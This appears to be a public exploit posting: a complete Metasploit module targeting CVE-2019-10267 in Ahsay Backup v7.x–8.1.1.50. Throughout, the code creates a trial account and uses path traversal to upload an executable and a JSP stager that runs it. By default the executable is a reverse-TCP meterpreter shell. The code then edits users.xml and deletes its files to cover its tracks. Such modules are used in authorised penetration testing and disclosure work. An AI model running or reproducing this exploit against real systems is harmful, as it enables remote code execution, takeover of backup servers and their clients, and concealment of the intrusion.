# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (Metasploit)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50 (REQUIRED)
# Tested on: Windows / Linux
# CVE : CVE-2019-10267
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include REXML
def initialize(info = {})
super(update_info(info,
'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',
'Description' => %q{
This module exploits an authenticated insecure file upload and code
execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute
the upload credentials are needed, default on Ahsay Backup trial
accounts are enabled so an account can be created.
It can be exploited in Windows and Linux environments to get remote code
execution (usualy as SYSTEM). This module has been tested successfully
on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this
flaw all connected clients can be configured to execute a command before
the backup starts. Allowing an attacker to takeover even more systems
and make it rain shells!
Setting the CREATEACCOUNT to true will create a new account, this is
enabled by default.
If credeantials are known enter these and run the exploit.
},
'Author' =>
[
'Wietse Boonstra'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-10267'],
[ 'URL', 'https://www.wbsec.nl/ahsay/' ],
[ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]
],
'Privileged' => true,
'Platform' => 'win',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Targets' =>
[
[ 'Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86', # should work but untested
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 1 2019'))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),
OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]),
OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),
OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),
])
end
def is_trial_enabled?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),
'method' => 'POST',
'data' => ''
})
if res and res.code == 200 and "ENABLED" =~ /#{res.body}/
return true
else
return false
end
end
def check_account?
headers = create_request_headers
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'),
'method' => 'POST',
'data' => '',
'headers' => headers
})
if res and res.code == 200
print_good("Username and password are valid!")
return true
elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
# fail_with(Failure::NoAccess, 'Username incorrect!')
print_status("Username does not exist.")
return false
elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
print_status("Username exists but password incorrect!")
return false
else
return false
end
end
def create_request_headers
headers = {}
username = Rex::Text.encode_base64(datastore['USERNAME'])
password = Rex::Text.encode_base64(datastore['PASSWORD'])
headers['X-RSW-custom-encode-username'] = username
headers['X-RSW-custom-encode-password'] = password
headers
end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"
if username == "" or password == ""
fail_with(Failure::NoAccess, 'Please set a username and password')
else
#check if account does not exists?
if !check_account?
# Create account and check if it is valid
if create_account?
drop_and_execute()
else
fail_with(Failure::NoAccess, 'Failed to authenticate')
end
else
#Need to fix, check if account exist
print_good("No need to create account, already exists!")
drop_and_execute()
end
end
elsif username != "" and password != ""
if check_account?
drop_and_execute()
else
if is_trial_enabled?
fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')
end
fail_with(Failure::NoAccess, 'Username and password are invalid')
end
else
fail_with(Failure::UnexpectedReply, 'Missing some settings')
end
end
def create_account?
headers = create_request_headers
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'),
'method' => 'POST',
'data' => '',
'headers' => headers
})
# print (res.body)
if res and res.code == 200
print_good("Account created")
return true
elsif res.body.include?('LOGIN_NAME_IS_USED')
fail_with(Failure::NoAccess, 'Username is in use!')
elsif res.body.include?('PWD_COMPLEXITY_FAILURE')
fail_with(Failure::NoAccess, 'Password not complex enough')
else
fail_with(Failure::UnexpectedReply, 'Something went wrong!')
end
end
def remove_account
if datastore['CREATEACCOUNT']
username = datastore['USERNAME']
users_xml = "../../conf/users.xml"
print_status("Looking for account #{username} in #{users_xml}")
xml_doc = download(users_xml)
xmldoc = Document.new(xml_doc)
el = 0
xmldoc.elements.each("Setting/Key") do |e|
el = el + 1
e.elements.each("Value") do |a|
if a.attributes["name"].include?('name')
if a.attributes["data"].include?(username)
print_good("Found account")
xmldoc.root.elements.delete el
print_status("Removed account")
end
end
end
end
new_xml = xmldoc.root
print_status("Uploading new #{users_xml} file")
upload(users_xml, new_xml.to_s)
print_good("Account is inaccesible when service restarts!")
end
end
def prepare_path(path)
if path.end_with? '/'
path = path.chomp('/')
end
path
end
def drop_and_execute()
path = prepare_path(datastore['UPLOADPATH'])
exploitpath = path.gsub("../../webapps/cbs/",'')
exploitpath = exploitpath.gsub("/","\\\\\\")
requestpath = path.gsub("../../webapps/",'')
#First stage payload creation and upload
exe = payload.encoded_exe
exe_filename = Rex::Text.rand_text_alpha(10)
exefileLocation = "#{path}/#{exe_filename}.exe"
print_status("Uploading first stage payload.")
upload(exefileLocation, exe)
#../../webapps/cbs/help/en
exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}
#Second stage payload creation and upload
jsp_filename = Rex::Text.rand_text_alpha(10)
jspfileLocation = "#{path}/#{jsp_filename}.jsp"
print_status("Uploading second stage payload.")
upload(jspfileLocation, exec)
proto = ssl ? 'https' : 'http'
url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")
#Triggering the exploit
print_status("Triggering exploit! #{url}" )
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),
'method' => 'GET'
})
if res and res.code == 200
print_good("Exploit executed!")
end
#Cleaning up
print_status("Cleaning up after our selfs.")
remove_account
print_status("Trying to remove #{exefileLocation}, but will fail when in use.")
delete(exefileLocation)
delete(jspfileLocation)
delete("../../user/#{datastore['USERNAME']}",true)
end
def upload(fileLocation, content)
username = Rex::Text.encode_base64(datastore['USERNAME'])
password = Rex::Text.encode_base64(datastore['PASSWORD'])
uploadPath = Rex::Text.encode_base64(fileLocation)
headers = {}
headers['X-RSW-Request-0'] = username
headers['X-RSW-Request-1'] = password
headers['X-RSW-custom-encode-path'] = uploadPath
res = send_request_raw({
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'),
'method' => 'PUT',
'headers' => headers,
'data' => content,
'timeout' => 20
})
if res && res.code == 201
print_good("Succesfully uploaded file to #{fileLocation}")
else
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
end
end
def download(fileLocation)
#TODO make vars_get variable
print_status("Downloading file")
username = Rex::Text.encode_base64(datastore['USERNAME'])
password = Rex::Text.encode_base64(datastore['PASSWORD'])
headers = {}
headers['X-RSW-Request-0'] = username
headers['X-RSW-Request-1'] = password
res = send_request_cgi({
#/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'),
'method' => 'GET',
'headers' => headers,
'vars_get' => {
'X-RSW-custom-encode-path' => fileLocation
}
})
if res and res.code == 200
res.body
end
end
def delete(fileLocation, recursive=false)
print_status("Deleting file #{fileLocation}")
username = Rex::Text.encode_base64(datastore['USERNAME'])
password = Rex::Text.encode_base64(datastore['PASSWORD'])
headers = {}
headers['X-RSW-Request-0'] = username
headers['X-RSW-Request-1'] = password
res = send_request_cgi({
#/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'),
'method' => 'DELETE',
'headers' => headers,
'vars_get' => {
'X-RSW-custom-encode-path' => fileLocation,
'recursive' => recursive
}
})
if res and res.code == 200
res.body
end
end
def check
#We need a cookie first
cookie_res = send_request_cgi({
#/cbs/system/ShowDownload.do
'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'),
'method' => 'GET'
})
if cookie_res and cookie_res.code == 200
cookie = cookie_res.get_cookies.split()[0]
else
return Exploit::CheckCode::Unknown
end
if defined?(cookie)
#request the page with all the clientside software links.
headers = {}
headers['Cookie'] = cookie
link = send_request_cgi({
#/cbs/system/ShowDownload.do
'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'),
'method' => 'GET',
'headers' => headers
})
if link and link.code == 200
link.body.each_line do |line|
#looking for the link that contains obm-linux and ends with .sh
if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'
filename = line.split("<a")[1].split('"')[1].split("?")[0]
filecontent = send_request_cgi({
#/cbs/system/ShowDownload.do
'uri' => normalize_uri(target_uri.path, filename),
'method' => 'GET',
'headers' => headers
})
if filecontent and filecontent.code == 200
filecontent.body.each_line do |l|
if l.include? 'VERSION="'
number = l.split("=")[1].split('"')[1]
if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/
if number <= '8.1.1.50' and not number < '7'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
end
else
return Exploit::CheckCode::Unknown
end
end
end
else
return Exploit::CheckCode::Unknown
end
else
return Exploit::CheckCode::Unknown
end
end
end
